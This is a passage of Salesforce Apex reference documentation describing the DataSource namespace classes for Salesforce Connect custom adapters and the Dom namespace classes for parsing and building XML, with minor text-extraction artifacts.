public static DataSource.Order get(String tableName, String columnName, DataSource.OrderDirection direction)

Parameters
tableName
Type: String
Name of the table whose column values are used to sort the rows in the result set.
columnName
Type: String
Name of the column whose values are used to sort the rows in the result set.

direction
Type: DataSource.OrderDirection
Direction for sorting rows based on column values.

Return Value
Type: DataSource.Order

OrderDirection Enum
Specifies the direction for sorting rows based on column values.

Usage
Used by the direction property on the DataSource.Order class.

Enum Values
The following are the values of the DataSource.OrderDirection enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>ASCENDING</td>
<td>Sort rows in ascending order (A–Z).</td>
</tr>
<tr>
<td>DESCENDING</td>
<td>Sort rows in descending order (Z–A).</td>
</tr>
</tbody>
</table>

Provider Class
Extend this base class to create a custom adapter for Salesforce Connect. The class informs Salesforce of the functional and authentication capabilities that are supported by or required to connect to the external system. This class extends the DataSourceUtil class and inherits its methods.

Namespace
DataSource

Usage
Create an Apex class that extends DataSource.Provider to specify the following.

- The types of authentication that can be used to access the external system
- The features that are supported for the connection to the external system
- The Apex class that extends DataSource.Connection to sync the external system's schema and to handle the queries and searches of the external data
The values that are returned by the `DataSource.Provider` class determine which settings are available in the external data source definition in Salesforce. To access the external data source definition from Setup, enter `External Data Sources` in the Quick Find box, then select `External Data Sources`.

IN THIS SECTION:

Provider Methods

The following are methods for `Provider`.

IN THIS SECTION:

getAuthenticationCapabilities()
Returns the types of authentication that can be used to access the external system.

getCapabilities()
Returns the functional operations that the external system supports and the required endpoint settings for the external data source definition in Salesforce.

getConnection(connectionParams)
Returns a connection that points to an instance of the external data source.

getAuthenticationCapabilities()

Returns the types of authentication that can be used to access the external system.

Signature

```java
public List<DataSource.AuthenticationCapability> getAuthenticationCapabilities()
```

Return Value

Type: `List<DataSource.AuthenticationCapability>`

getCapabilities()

Returns the functional operations that the external system supports and the required endpoint settings for the external data source definition in Salesforce.

Signature

```java
public List<DataSource.Capability> getCapabilities()
```

Return Value

Type: `List<DataSource.Capability>`

ggetConnection(connectionParams)

Returns a connection that points to an instance of the external data source.
Signature

```java
public DataSource.Connection getConnection(DataSource.ConnectionParams connectionParams)
```

Parameters

`connectionParams`
Type: `DataSource.ConnectionParams`
Credentials for authenticating to the external system.

Return Value

Type: `DataSource.Connection`

**QueryAggregation Enum**

Specifies how to aggregate a column in a query.

**Usage**

Used by the `aggregation` property on the `DataSource.ColumnSelection` class.

**Enum Values**

The following are the values of the `DataSource.QueryAggregation` enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>AVG</td>
<td>Reserved for future use.</td>
</tr>
<tr>
<td>COUNT</td>
<td>Returns the number of rows that meet the query criteria.</td>
</tr>
<tr>
<td>MAX</td>
<td>Reserved for future use.</td>
</tr>
<tr>
<td>MIN</td>
<td>Reserved for future use.</td>
</tr>
<tr>
<td>NONE</td>
<td>No aggregation.</td>
</tr>
<tr>
<td>SUM</td>
<td>Reserved for future use.</td>
</tr>
</tbody>
</table>

**QueryContext Class**

An instance of `QueryContext` is provided to the `query` method on your `DataSource.Connection` class. The instance corresponds to a SOQL request.

**Namespace**

`DataSource`

IN THIS SECTION:

- QueryContext Properties
QueryContext Methods

QueryContext Properties
The following are properties for QueryContext.

IN THIS SECTION:

queryMoreToken
Query token that’s used for server-driven paging to determine and fetch the subsequent batch of results.

tableSelection
Query details that represent the FROM, ORDER BY, SELECT, and WHERE clauses in a SOQL or SOSL query.

queryMoreToken
Query token that’s used for server-driven paging to determine and fetch the subsequent batch of results.

Signature

public String queryMoreToken {get; set;}

Property Value
Type: String

tableSelection
Query details that represent the FROM, ORDER BY, SELECT, and WHERE clauses in a SOQL or SOSL query.

Signature

public DataSource.TableSelection tableSelection {get; set;}

Property Value
Type: DataSource.TableSelection

QueryContext Methods
The following are methods for QueryContext.

IN THIS SECTION:

get(metadata, offset, maxResults, tableSelection)
Creates an instance of the QueryContext class.

get(metadata, offset, maxResults, tableSelection)
Creates an instance of the QueryContext class.
Signature

```java
public static DataSource.QueryContext get(List<DataSource.Table> metadata, Integer offset, Integer maxResults, DataSource.TableSelection tableSelection)
```

Parameters

- **metadata**
  Type: List<DataSource.Table>
  List of table metadata that describes the external system’s tables to query.

- **offset**
  Type: Integer
  Used for client-driven paging. Specifies the starting row offset into the query’s result set.

- **maxResults**
  Type: Integer
  Used for client-driven paging. Specifies the maximum number of rows to return in each batch.

- **tableSelection**
  Type: DataSource.TableSelection
  Query details that represent the FROM, ORDER BY, SELECT, and WHERE clauses in a SOQL or SOSL query.

Return Value

Type: DataSource.QueryContext

**QueryUtils Class**

Contains helper methods to locally filter, sort, and apply limit and offset clauses to data rows. This helper class is provided for your convenience during early development and tests, but it isn’t supported for use in production environments.

**Namespace**

DataSource

**Usage**

The DataSource.QueryUtils class and its helper methods can process query results locally within your Salesforce org. This class is provided for your convenience to simplify the development of your Salesforce Connect custom adapter for initial tests. However, the DataSource.QueryUtils class and its methods aren’t supported for use in production environments that use callouts to retrieve data from external systems. Complete the filtering and sorting on the external system before sending the query results to Salesforce. When possible, use server-driven paging or another technique to have the external system determine the appropriate data subsets according to the limit and offset clauses in the query.

**IN THIS SECTION:**

- QueryUtils Methods
QueryUtils Methods

The following are methods for QueryUtils.

IN THIS SECTION:

**applyLimitAndOffset(queryContext, rows)**

Returns a subset of data rows after locally applying limit and offset clauses from the query. This helper method is provided for your convenience during early development and tests, but it isn’t supported for use in production environments.

**filter(queryContext, rows)**

Returns a subset of data rows after locally ordering and applying filters from the query. This helper method is provided for your convenience during early development and tests, but it isn’t supported for use in production environments.

**process(queryContext, rows)**

Returns data rows after locally filtering, sorting, ordering, and applying limit and offset clauses from the query. This helper method is provided for your convenience during early development and tests, but it isn’t supported for use in production environments.

**sort(queryContext, rows)**

Returns data rows after locally sorting and applying the order from the query. This helper method is provided for your convenience during early development and tests, but it isn’t supported for use in production environments.

### applyLimitAndOffset(queryContext, rows)

Returns a subset of data rows after locally applying limit and offset clauses from the query. This helper method is provided for your convenience during early development and tests, but it isn’t supported for use in production environments.

**Signature**

```java
public static List<Map<String, Object>> applyLimitAndOffset(DataSource.QueryContext queryContext, List<Map<String, Object>> rows)
```

**Parameters**

- **queryContext**
  Type: `DataSource.QueryContext`
  Represents the query to run against a data table.

- **rows**
  Type: `List<Map<String, Object>>`
  Rows of data.

**Return Value**

Type: `List<Map<String, Object>>`

### filter(queryContext, rows)

Returns a subset of data rows after locally ordering and applying filters from the query. This helper method is provided for your convenience during early development and tests, but it isn’t supported for use in production environments.
Signature
public static List<Map<String, Object>> filter(DataSource.QueryContext queryContext, List<Map<String, Object>> rows)

Parameters
queryContext
Type: DataSource.QueryContext
Represents the query to run against a data table.

rows
Type: List<Map<String, Object>>
Rows of data.

Return Value
Type: List<Map<String, Object>>

process(queryContext, rows)
Returns data rows after locally filtering, sorting, ordering, and applying limit and offset clauses from the query. This helper method is provided for your convenience during early development and tests, but it isn’t supported for use in production environments.

Signature
public static List<Map<String, Object>> process(DataSource.QueryContext queryContext, List<Map<String, Object>> rows)

Parameters
queryContext
Type: DataSource.QueryContext
Represents the query to run against a data table.

rows
Type: List<Map<String, Object>>
Rows of data.

Return Value
Type: List<Map<String, Object>>

sort(queryContext, rows)
Returns data rows after locally sorting and applying the order from the query. This helper method is provided for your convenience during early development and tests, but it isn’t supported for use in production environments.
Signature

```java
public static List<Map<String, Object>> sort(DataSource.QueryContext queryContext, List<Map<String, Object>> rows)
```

Parameters

- `queryContext`
  - Type: `DataSource.QueryContext`
  - Represents the query to run against a data table.

- `rows`
  - Type: `List<Map<String, Object>>`
  - Rows of data.

Return Value

Type: `List<Map<String, Object>>`

**ReadContext Class**

Abstract base class for the `QueryContext` and `SearchContext` classes.

**Namespace**

`DataSource`

**IN THIS SECTION:**

ReadContext Properties

**ReadContext Properties**

The following are properties for `ReadContext`.

**IN THIS SECTION:**

- `maxResults`
  - Maximum number of rows that the query can return.
- `metadata`
  - Describes the external system's tables to query.
- `offset`
  - The starting row offset into the query's result set. Used for client-driven paging.

**maxResults**

Maximum number of rows that the query can return.
Signature

```java
public Integer maxResults {get; set;}
```

Property Value

Type: `Integer`

### metadata

Describes the external system’s tables to query.

Signature

```java
public List<DataSource.Table> metadata {get; set;}
```

Property Value

Type: `List<DataSource.Table>`

### offset

The starting row offset into the query’s result set. Used for client-driven paging.

Signature

```java
public Integer offset {get; set;}
```

Property Value

Type: `Integer`

---

**SearchContext Class**

An instance of `SearchContext` is provided to the `search` method on your `DataSource.Connection` class. The instance corresponds to a search or SOSL request.

---

**Namespace**

`DataSource`

---

**IN THIS SECTION:**

- SearchContext Constructors
- SearchContext Properties

---

**SearchContext Constructors**

The following are constructors for `SearchContext`. 

IN THIS SECTION:

SearchContext(metadata, offset, maxResults, tableSelections, searchPhrase)
Creates an instance of the SearchContext class with the specified parameter values.

SearchContext()
Creates an instance of the SearchContext class.

SearchContext(metadata, offset, maxResults, tableSelections, searchPhrase)
Creates an instance of the SearchContext class with the specified parameter values.

Signature
public SearchContext(List<DataSource.Table> metadata, Integer offset, Integer maxResults, List<DataSource.TableSelection> tableSelections, String searchPhrase)

Parameters
metadata
Type: List<DataSource.Table>
List of table metadata that describes the external system’s tables to query.

offset
Type: Integer
Specifies the starting row offset into the query’s result set.

maxResults
Type: Integer
Specifies the maximum number of rows to return in each batch.

tableSelections
Type: List<DataSource.TableSelection>
List of queries and their details. The details represent the FROM, ORDER BY, SELECT, and WHERE clauses in each SOQL or SOSL query.

searchPhrase
Type: String
The user-entered search string as a case-sensitive single phrase, with all non-alphanumeric characters removed.

SearchContext()
Creates an instance of the SearchContext class.

Signature
public SearchContext()
IN THIS SECTION:

**searchPhrase**
The user-entered search string as a case-sensitive single phrase, with all non-alphanumeric characters removed.

**tableSelections**
List of queries and their details. The details represent the FROM, ORDER BY, SELECT, and WHERE clauses in each SOQL or SOSL query.

**searchPhrase**
The user-entered search string as a case-sensitive single phrase, with all non-alphanumeric characters removed.

Signature
```
public String searchPhrase {get; set;}
```

Property Value
Type: String

**tableSelections**
List of queries and their details. The details represent the FROM, ORDER BY, SELECT, and WHERE clauses in each SOQL or SOSL query.

Signature
```
public List<DataSource.TableSelection> tableSelections {get; set;}
```

Property Value
Type: List<DataSource.TableSelection>

**SearchUtils Class**
Helper class for implementing search on a custom adapter for Salesforce Connect.

**Namespace**
*DataSource*

**Usage**
We recommend that you develop your own search implementation that can search columns in addition to the designated name field.

IN THIS SECTION:

**SearchUtils Methods**

**SearchUtils Methods**
The following are methods for SearchUtils.
searchByName(searchDetails, connection)
Queries all the tables and returns each row whose designated name field contains the search phrase.

Signature
public static List<DataSource.TableResult> searchByName(DataSource.SearchContext searchDetails, DataSource.Connection connection)

Parameters
searchDetails
Type: DataSource.SearchContext
The SearchContext class that specifies which data to search and what to search for.
connection
Type: DataSource.Connection
The DataSource.Connection class that connects to the external system.

Return Value
Type: List<DataSource.TableResult>

Table Class
Describes a table on an external system that the Salesforce Connect custom adapter connects to. This class extends the DataSourceUtil class and inherits its methods.

Namespace
DataSource

Usage
A list of table metadata is provided by the DataSource.Connection class when the sync() method is invoked. Each table can become an external object in Salesforce.
The metadata is stored in Salesforce. Updating the Apex code to return new or updated values for the table metadata doesn’t automatically update the stored metadata in Salesforce.
Table Properties
The following are properties for Table.

IN THIS SECTION:
   columns
   List of table columns.
   description
   Description of what the table represents.
   labelPlural
   Plural form of the user-friendly name for the table. The labelPlural becomes the object's plural label in the Salesforce user interface.
   labelSingular
   Singular form of the user-friendly name for the table. The labelSingular becomes the object label in the Salesforce user interface. We recommend that you make object labels unique across all standard, custom, and external objects in the org.
   name
   Name of the table on the external system.
   nameColumn
   Name of the table column that becomes the name field of the external object when the administrator syncs the table.

columns
List of table columns.

Signature
public List<DataSource.Column> columns {get; set;}

Property Value
Type: List<DataSource.Column>

description
Description of what the table represents.

Signature
public String description {get; set;}

Property Value
Type: String

labelPlural
Plural form of the user-friendly name for the table. The labelPlural becomes the object's plural label in the Salesforce user interface.
public String labelPlural {get; set;}

Property Value
Type: String

**labelSingular**
Singular form of the user-friendly name for the table. The `labelSingular` becomes the object label in the Salesforce user interface. We recommend that you make object labels unique across all standard, custom, and external objects in the org.

public String labelSingular {get; set;}

Property Value
Type: String

**name**
Name of the table on the external system.

public String name {get; set;}

Property Value
Type: String

**nameColumn**
Name of the table column that becomes the name field of the external object when the administrator syncs the table.

public String nameColumn {get; set;}

Property Value
Type: String

**Table Methods**
The following are methods for Table.
get(name, labelSingular, labelPlural, description, nameColumn, columns)
Returns the table metadata with the specified parameter values.

custom(1)

get(name, nameColumn, columns)
Returns the table metadata with the specified parameter values, using the name for the labels and description.

get(name, labelSingular, labelPlural, description, nameColumn, columns)
Returns the table metadata with the specified parameter values.

Signature
public static DataSource.Table get(String name, String labelSingular, String labelPlural, String description, String nameColumn, List<DataSource.Column> columns)

Parameters
name
Type: String
Name of the external table.

labelSingular
Type: String
Singular form of the user-friendly name for the table. The labelSingular becomes the object label in the Salesforce user interface.

labelPlural
Type: String
Plural form of the user-friendly name for the table. The labelPlural becomes the object's plural label in the Salesforce user interface.

description
Type: String
Description of the external table.

nameColumn
Type: String
Name of the table column that becomes the name field of the external object when the administrator syncs the table.

columns
Type: List<DataSource.Column>
List of table columns.

Return Value
Type: DataSource.Table

custom(1)
Signature

```java
public static DataSource.Table get(String name, String nameColumn,
        List<DataSource.Column> columns)
```

Parameters

- `name`
  - Type: `String`
  - Name of the external table.
- `nameColumn`
  - Type: `String`
  - Name of the table column that becomes the name field of the external object when the administrator syncs the table.
- `columns`
  - Type: `List<DataSource.Column>`
  - List of table columns.

Return Value

Type: `DataSource.Table`

The returned table metadata has these property values.

<table>
<thead>
<tr>
<th>Property</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>name</td>
<td><code>name</code></td>
</tr>
<tr>
<td>labelSingular</td>
<td><code>name</code></td>
</tr>
<tr>
<td>labelPlural</td>
<td><code>name</code></td>
</tr>
<tr>
<td>description</td>
<td><code>name</code></td>
</tr>
<tr>
<td>nameColumn</td>
<td><code>nameColumn</code></td>
</tr>
<tr>
<td>columns</td>
<td><code>columns</code></td>
</tr>
</tbody>
</table>

**TableResult Class**

Contains the results of a search or query.

**Namespace**

`DataSource`

**IN THIS SECTION:**

- TableResult Properties
- TableResult Methods
TableResult Properties

The following are properties for TableResult.

**errorMessage**
Error message to display to the user.

**queryMoreToken**
Query token that’s used for server-driven paging to determine and fetch the subsequent batch of results. This token is passed back to the Apex data source on subsequent queries in the queryMoreToken property on the QueryContext.

**rows**
Rows of data.

**success**
Whether the search or query was successful.

**tableName**
Name of the table that was queried.

**totalSize**
The total number of rows that meet the query criteria, even when the external system is requested to return a smaller batch size.

**errorMessage**
Error message to display to the user.

Signature

```java
public String errorMessage {get; set;}
```

Property Value

Type: String

**queryMoreToken**
Query token that’s used for server-driven paging to determine and fetch the subsequent batch of results. This token is passed back to the Apex data source on subsequent queries in the queryMoreToken property on the QueryContext.

Signature

```java
public String queryMoreToken {get; set;}
```

Property Value

Type: String

**rows**
Rows of data.
public List<Map<String, Object>> rows {get; set;}

**success**
Whether the search or query was successful.

public Boolean success {get; set;}

**tableName**
Name of the table that was queried.

public String tableName {get; set;}

**totalSize**
The total number of rows that meet the query criteria, even when the external system is requested to return a smaller batch size.

public Integer totalSize {get; set;}

### TableResult Methods
The following are methods for TableResult.

**IN THIS SECTION:**
- `error(errorMessage)`
  Returns failed search or query results with the provided error message.
get(success, errorMessage, tableName, rows, totalSize)
Returns a subset of data rows in a TableResult with the provided property values and the number of rows in the table.

get(success, errorMessage, tableName, rows)
Returns a subset of data rows in a TableResult with the provided property values.

get(queryContext, rows)
Returns the subset of data rows that meet the query criteria, and the number of rows in the table, in a TableResult.

get(tableSelection, rows)
Returns the subset of data rows that meet the query criteria, and the number of rows in the table, in a TableResult.

**error(errorMessage)**
Returns failed search or query results with the provided error message.

**Signature**

```java
public static DataSource.TableResult error(String errorMessage)
```

**Parameters**

<table>
<thead>
<tr>
<th>Property</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>errorMessage</td>
<td>errorMessage</td>
</tr>
</tbody>
</table>

**Return Value**

Type: DataSource.TableResult

The returned TableResult has these property values.

<table>
<thead>
<tr>
<th>Property</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>success</td>
<td>false</td>
</tr>
<tr>
<td>errorMessage</td>
<td>errorMessage</td>
</tr>
<tr>
<td>tableName</td>
<td>null</td>
</tr>
<tr>
<td>rows</td>
<td>null</td>
</tr>
<tr>
<td>rows.size()</td>
<td>0</td>
</tr>
</tbody>
</table>

get(success, errorMessage, tableName, rows, totalSize)
Returns a subset of data rows in a TableResult with the provided property values and the number of rows in the table.

**Signature**

```java
public static DataSource.TableResult get(Boolean success, String errorMessage, String tableName, List<Map<String,Object>> rows, Integer totalSize)
```
Parameters

**success**
Type: *Boolean*
Whether the search or query was successful.

**errorMessage**
Type: *String*
Error message to display to the user.

**tableName**
Type: *String*
Name of the table that was queried.

**rows**
Type: *List<Map<String, Object>>*
Rows of data.

**totalSize**
Type: *Integer*
The total number of rows that meet the query criteria, even when the external system is requested to return a smaller batch size.

Return Value

Type: *DataSource.TableResult*

```java
get(success, errorMessage, tableName, rows)
```

Returns a subset of data rows in a *TableResult* with the provided property values.

Signature

```java
public static DataSource.TableResult get(Boolean success, String errorMessage, String tableName, List<Map<String, Object>> rows)
```

Parameters

**success**
Type: *Boolean*
Whether the search or query was successful.

**errorMessage**
Type: *String*
Error message to display to the user.

**tableName**
Type: *String*
Name of the table that was queried.

**rows**
Type: *List<Map<String, Object>>*
Rows of data.
Return Value
Type: `DataSource.TableResult`

get(queryContext, rows)
Returns the subset of data rows that meet the query criteria, and the number of rows in the table, in a `TableResult`.

Signature
`public static DataSource.TableResult get(DataSource.QueryContext queryContext, List<Map<String, Object>> rows)`

Parameters
queryContext
Type: `DataSource.QueryContext`
Represents the query to run against a data table.
rows
Type: `List<Map<String, Object>>`
Rows of data.

Return Value
Type: `DataSource.TableResult`

get(tableSelection, rows)
Returns the subset of data rows that meet the query criteria, and the number of rows in the table, in a `TableResult`.

Signature
`public static DataSource.TableResult get(DataSource.TableSelection tableSelection, List<Map<String, Object>> rows)`

Parameters
tableSelection
Type: `DataSource.TableSelection`
Query details that represent the `FROM`, `ORDER BY`, `SELECT`, and `WHERE` clauses in a SOQL or SOSL query.
rows
Type: `List<Map<String, Object>>`
Rows of data.

Return Value
Type: `DataSource.TableResult`
TableSelection Class
Contains a breakdown of the SOQL or SOSL query. Its properties represent the FROM, ORDER BY, SELECT, and WHERE clauses in the query.

Namespace
DataSource

IN THIS SECTION:
TableSelection Properties

TableSelection Properties
The following are properties for TableSelection.

IN THIS SECTION:
columnsSelected
List of columns to query. Corresponds to the SELECT clause in a SOQL or SOSL query.

filter
Identifies the query filter, which can be a compound filter that has a list of subfilters. The filter corresponds to the WHERE clause in a SOQL or SOSL query.

order
Identifies the order for sorting the query results. Corresponds to the ORDER BY clause in a SOQL or SOSL query.

tableSelected
Name of the table to query. Corresponds to the FROM clause in a SOQL or SOSL query.

columnsSelected
List of columns to query. Corresponds to the SELECT clause in a SOQL or SOSL query.

Signature
public List<DataSource.ColumnSelection> columnsSelected {get; set;}

Property Value
Type: List<DataSource.ColumnSelection>

filter
Identifies the query filter, which can be a compound filter that has a list of subfilters. The filter corresponds to the WHERE clause in a SOQL or SOSL query.

Signature
public DataSource.Filter filter {get; set;}

2489
Property Value
Type: `DataSource.Filter`

**order**

Identifies the order for sorting the query results. Corresponds to the `ORDER BY` clause in a SOQL or SOSL query.

Signature

```java
public List<DataSource.Order> order {get; set;}
```

Property Value
Type: `List<DataSource.Order>`

**tableSelected**

Name of the table to query. Corresponds to the `FROM` clause in a SOQL or SOSL query.

Signature

```java
public String tableSelected {get; set;}
```

Property Value
Type: `String`

**UpsertContext Class**

An instance of `UpsertContext` is passed to the `upsertRows()` method on your `DataSource.Connection` class. This class provides context information about the upsert request to the implementor of `upsertRows()`.

**Namespace**

`DataSource`

**Usage**

The Apex Connector Framework creates the context for operations. Context is comprised of parameters about the operations, which other methods can use. An instance of the `UpsertContext` class packages these parameters into an object that can be used when an `upsertRows()` operation is initiated.

IN THIS SECTION:

- `UpsertContext Properties`

**UpsertContext Properties**

The following are properties for `UpsertContext`. 
IN THIS SECTION:

rows
List of rows corresponding to the external object records to upsert.

tableSelected
The name of the table to upsert rows in.

**rows**
List of rows corresponding to the external object records to upsert.

Signature

public List<Map<String,ANY>> rows {get; set;}

Property Value
Type: List<Map<String,Object>>

**tableSelected**
The name of the table to upsert rows in.

Signature

public String tableSelected {get; set;}

Property Value
Type: String

**UpsertResult Class**

Represents the result of an upsert operation on an external object record. The result is returned by the `upsertRows` method of the `DataSource.Connection` class.

**Namespace**

`DataSource`

**Usage**

An upsert operation on external object records generates an array of objects of type `DataSource.UpsertResult`. Its methods create result records that indicate whether the upsert operation succeeded or failed.
UpsertResult Properties

The following are properties for UpsertResult.

IN THIS SECTION:
  errorMessage
  The error message that’s generated by a failed upsert operation.
  externalId
  The unique identifier of a row that represents an external object record to upsert.
  success
  Indicates whether a delete operation succeeded or failed.

**errorMessage**

The error message that’s generated by a failed upsert operation.

Signature

```java
public String errorMessage {get; set;}
```

Property Value

Type: String

**externalId**

The unique identifier of a row that represents an external object record to upsert.

Signature

```java
public String externalId {get; set;}
```

Property Value

Type: String

**success**

Indicates whether a delete operation succeeded or failed.

Signature

```java
public Boolean success {get; set;}
```

Property Value

Type: Boolean
UpsertResult Methods

The following are methods for UpsertResult.

IN THIS SECTION:

equals(obj)
Maintains the integrity of lists of type UpsertResult by determining the equality of external object records in a list. This method is dynamic and is based on the equals method in Java.

failure(externalId, errorMessage)
Creates an upsert result that indicates the failure of a delete request for a given external ID.

hashCode()
Maintains the integrity of lists of type UpsertResult by determining the uniqueness of the external object records in a list.

success(externalId)
Creates a delete result that indicates the successful completion of an upsert request for a given external ID.

equals(obj)
Maintains the integrity of lists of type UpsertResult by determining the equality of external object records in a list. This method is dynamic and is based on the equals method in Java.

Signature

```java
public Boolean equals(Object obj)
```

Parameters

obj
Type: Object
External object whose key is to be validated.

Return Value

Type: Boolean

failure(externalId, errorMessage)
Creates an upsert result that indicates the failure of a delete request for a given external ID.

Signature

```java
public static DataSource.UpsertResult failure(String externalId, String errorMessage)
```

Parameters

externalId
Type: String
The unique identifier of the external object record to upsert.
**errorMessage**

Type: String

The reason the upsert operation failed.

Return Value

Type: DataSource.UpsertResult

Status result for the upsert operation.

**hashCode()**

Maintains the integrity of lists of type UpsertResult by determining the uniqueness of the external object records in a list.

Signature

public Integer hashCode()

Return Value

Type: Integer

**success(externalId)**

Creates a delete result that indicates the successful completion of an upsert request for a given external ID.

Signature

public static DataSource.UpsertResult success(String externalId)

Parameters

**externalId**

Type: String

The unique identifier of the external object record to upsert.

Return Value

Type: DataSource.UpsertResult

Status result of the upsert operation for the external object record with the given external ID.

**DataSource Exceptions**

The DataSource namespace contains exception classes.

All exception classes support built-in methods for returning the error message and exception type. See Exception Class and Built-In Exceptions.

The DataSource namespace contains these exceptions.
### Exception Description Methods

<table>
<thead>
<tr>
<th>Exception</th>
<th>Description</th>
<th>Methods</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>DataSource.DataSourceException</strong></td>
<td>Throw this exception to indicate that an error occurred while communicating with an external data source.</td>
<td>To get the error message and write it to debug log, use the <code>String getMessage()</code> method.</td>
</tr>
<tr>
<td><strong>DataSource.OAuthTokenExpiredException</strong></td>
<td>Throw this exception to indicate that an OAuth token has expired. The system then attempts to refresh the token automatically and restart the query, search, or sync operation.</td>
<td>To get the error message and write it to debug log, use the <code>String getMessage()</code> method.</td>
</tr>
</tbody>
</table>

### Dom Namespace

The **Dom** namespace provides classes and methods for parsing and creating XML content.

The following are the classes in the **Dom** namespace.

**IN THIS SECTION:**
- **Document Class**
  - Use the `Document` class to process XML content. You can parse nested XML content that’s up to 50 nodes deep.
  - **XmlNode Class**
    - Use the `XmlNode` class to work with a node in an XML document.

### Document Class

Use the `Document` class to process XML content. You can parse nested XML content that’s up to 50 nodes deep.

**Namespace**

**Dom**

**Usage**

One common application is to use it to create the body of a request for `HttpRequest` or to parse a response accessed by `HttpResponse`.

**IN THIS SECTION:**
- **Document Constructors**
- **Document Methods**

**SEE ALSO:**
- Reading and Writing XML Using the DOM

### Document Constructors

The following are constructors for `Document`.
IN THIS SECTION:

Document()

Document()

Signature

public Document()

Document Methods

The following are methods for Document. All are instance methods.

IN THIS SECTION:

createRootElement(name, namespace, prefix)

Creates the top-level root element for a document.

gRootElement()

Returns the top-level root element node in the document. If this method returns null, the root element has not been created yet.

load(xml)

Parse the XML representation of the document specified in the xml argument and load it into a document.

toXmlString()

Returns the XML representation of the document as a String.

ccreateRootElement(name, namespace, prefix)

Creates the top-level root element for a document.

Signature

public Dom.XmlNode createRootElement(String name, String namespace, String prefix)

Parameters

name

Type: String

namespace

Type: String

prefix

Type: String

Return Value

Type: Dom.XmlNode
Usage
For more information about namespaces, see XML Namespaces.
Calling this method more than once on a document generates an error as a document can have only one root element.

**getRootElement()**
Returns the top-level root element node in the document. If this method returns `null`, the root element has not been created yet.

Signature
```
public Dom.XmlNode getRootElement()
```

Return Value
Type: `Dom.XmlNode`

**load(xml)**
Parse the XML representation of the document specified in the `xml` argument and load it into a document.

Signature
```
public Void load(String xml)
```

Parameters
`xml`
Type: `String`

Return Value
Type: `Void`

Example
```
doc.load(xml);
```

**toXmlString()**
Returns the XML representation of the document as a String.

Signature
```
public String toXmlString()
```

Return Value
Type: `String`
XmlNode Class

Use the XmlNode class to work with a node in an XML document.

Namespace

Dom

XmlNode Methods

The following are methods for XmlNode. All are instance methods.

IN THIS SECTION:

- addChildElement(name, namespace, prefix)
  Creates a child element node for this node.
- addCommentNode(text)
  Creates a child comment node for this node.
- addTextNode(text)
  Creates a child text node for this node.
- getAttribute(key, keyNamespace)
  Returns namespacePrefix:attributeValue for the given key and key namespace.
- getAttributeCount()
  Returns the number of attributes for this node.
- getAttributeKeyAt(index)
  Returns the attribute key for the given index. Index values start at 0.
- getAttributeKeyNsAt(index)
  Returns the attribute key namespace for the given index.
- getAttributeValue(key, keyNamespace)
  Returns the attribute value for the given key and key namespace.
- getAttributeValueNs(key, keyNamespace)
  Returns the attribute value namespace for the given key and key namespace.
- getChildElement(name, namespace)
  Returns the child element node for the node with the given name and namespace.
- getChildElements()
  Returns the child element nodes for this node. This doesn't include child text or comment nodes.
- getChildren()
  Returns the child nodes for this node. This includes all node types.
- getName()
  Returns the element name.
- getNamespace()
  Returns the namespace of the element.
getNamespaceFor(prefix)
Returns the namespace of the element for the given prefix.

getNodeType()
Returns the node type.

getParent()
Returns the parent of this element.

getPrefixFor(namespace)
Returns the prefix of the given namespace.

getText()
Returns the text for this node.

insertBefore(newChild, refChild)
Inserts a new child node before the specified node.

removeAttribute(key, keyNamespace)
Removes the attribute with the given key and key namespace. Returns true if successful, false otherwise.

removeChild(childNode)
Removes the given child node.

setAttribute(key, value)
Sets the key attribute value.

setAttributeNs(key, value, keyNamespace, valueNamespace)
Sets the key attribute value.

setNamespace(prefix, namespace)
Sets the namespace for the given prefix.

addChildElement(name, namespace, prefix)
Creates a child element node for this node.

Signature

public Dom.XmlNode addChildElement(String name, String namespace, String prefix)

Parameters

name
Type: String
The name argument can’t have a null value.

namespace
Type: String

prefix
Type: String

Return Value
Type: Dom.XmlNode
Usage

- If the `namespace` argument has a non-null value and the `prefix` argument is null, the namespace is set as the default namespace.
- If the `prefix` argument is null, Salesforce automatically assigns a prefix for the element. The format of the automatic prefix is `nsi`, where `i` is a number. If the `prefix` argument is '', the namespace is set as the default namespace.

`addCommentNode(text)`

Creates a child comment node for this node.

**Signature**

```java
public Dom.XmlNode addCommentNode(String text)
```

**Parameters**

- `text`
  - Type: `String`
  - The `text` argument can't have a null value.

**Return Value**

Type: `Dom.XmlNode`

`addTextNode(text)`

Creates a child text node for this node.

**Signature**

```java
public Dom.XmlNode addTextNode(String text)
```

**Parameters**

- `text`
  - Type: `String`
  - The `text` argument can't have a null value.

**Return Value**

Type: `Dom.XmlNode`

`getAttribute(key, keyNamespace)`

Returns `namespacePrefix:attributeValue` for the given key and key namespace.

**Signature**

```java
public String getAttribute(String key, String keyNamespace)
```
Parameters

key
  Type: String
keyNamespace
  Type: String

Return Value
Type: String

Example
For example, for the `<xyz a:b="c:d" />` element:

- `getAttribute` returns `c:d`
- `getAttributeValue` returns `d`

`getAttributeCount()`
Returns the number of attributes for this node.

Signature

```java
public Integer getAttributeCount()
```

Return Value
Type: Integer

`getAttributeKeyAt(index)`
Returns the attribute key for the given index. Index values start at 0.

Signature

```java
public String getAttributeKeyAt(Integer index)
```

Parameters

index
  Type: Integer

Return Value
Type: String

`getAttributeKeyNsAt(index)`
Returns the attribute key namespace for the given index.
Signature

public String getAttributeKeyNsAt(Integer index)

Parameters

index
Type: Integer

Return Value
Type: String

ggetAttributeValue(key, keyNamespace)
Returns the attribute value for the given key and key namespace.

Signature

public String getAttributeValue(String key, String keyNamespace)

Parameters

key
Type: String

keyNamespace
Type: String

Return Value
Type: String

Example
For example, for the `<xyz a:b="c:d" />` element:
- `getAttribute` returns `c:d`
- `getAttributeValue` returns `d`

ggetAttributeValueNs(key, keyNamespace)
Returns the attribute value namespace for the given key and key namespace.

Signature

public String getAttributeValueNs(String key, String keyNamespace)

Parameters

key
Type: String

keyNamespace
Type: String
keyNamespace
  Type: String

Return Value
Type: String

getChildElement(name, namespace)
Returns the child element node for the node with the given name and namespace.

Signature
public Dom.XmlNode getChildElement(String name, String namespace)

